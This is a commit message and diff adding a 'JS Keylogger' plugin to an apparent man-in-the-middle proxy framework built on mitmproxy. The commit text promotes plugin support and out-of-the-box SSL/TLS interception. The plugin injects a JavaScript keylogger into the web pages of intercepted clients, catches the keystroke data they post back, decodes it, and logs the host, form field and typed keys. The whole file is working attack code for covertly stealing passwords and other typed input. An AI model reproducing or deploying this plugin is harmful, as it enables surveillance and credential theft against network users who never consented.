Initial commit for v1.0 using mitmproxy instead of twisted

Added a plugin system to Net-Creds so you can now add your own parsers,
api hook names might change between now and the offcial release
(will submit a PR to the original repo once completed)

The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts
the code down by an insane amount, no more twisted! yay!

Basic plugin have been re-wrote for the new proxy engine

Since we are using mitmproxy we have out of the box support for SSL/TLS!

plugins/jskeylogger.py

@@ -0,0 +1,43 @@
+from plugins.plugin import Plugin
+from plugins.inject import Inject
+
+class JSKeylogger(Plugin):
+    name = 'JS Keylogger'
+    optname = 'jskeylogger'
+    desc = 'Injects a javascript keylogger into clients webpages'
+    version = '1.0'
+
+    def initialize(self, context):
+        context.js_file = open('plugins/resources/msfkeylogger.js', 'r')
+
+    def request(self, context, flow):
+        if flow.request.method == 'POST' and ('keylog' in flow.request.path):
+
+            #Overrides the default POST output
+            context.handle_post_output = True
+
+            raw_keys = flow.request.content.split("&&")[0]
+            input_field = flow.request.content.split("&&")[1]
+
+            keys = raw_keys.split(",")
+            if keys:
+                del keys[0]; del(keys[len(keys)-1])
+
+                nice = ''
+                for n in keys:
+                    if n == '9':
+                        nice += "<TAB>"
+                    elif n == '8':
+                        nice = nice[:-1]
+                    elif n == '13':
+                        nice = ''
+                    else:
+                        try:
+                            nice += n.decode('hex')
+                        except:
+                            context.log("[JSKeylogger] Error decoding char: {}".format(n))
+
+                context.log("[JSKeylogger] Host: {} | Field: {} | Keys: {}".format(flow.request.host, input_field, nice))
+
+    def response(self, context, flow):
+        Inject().response(context, flow)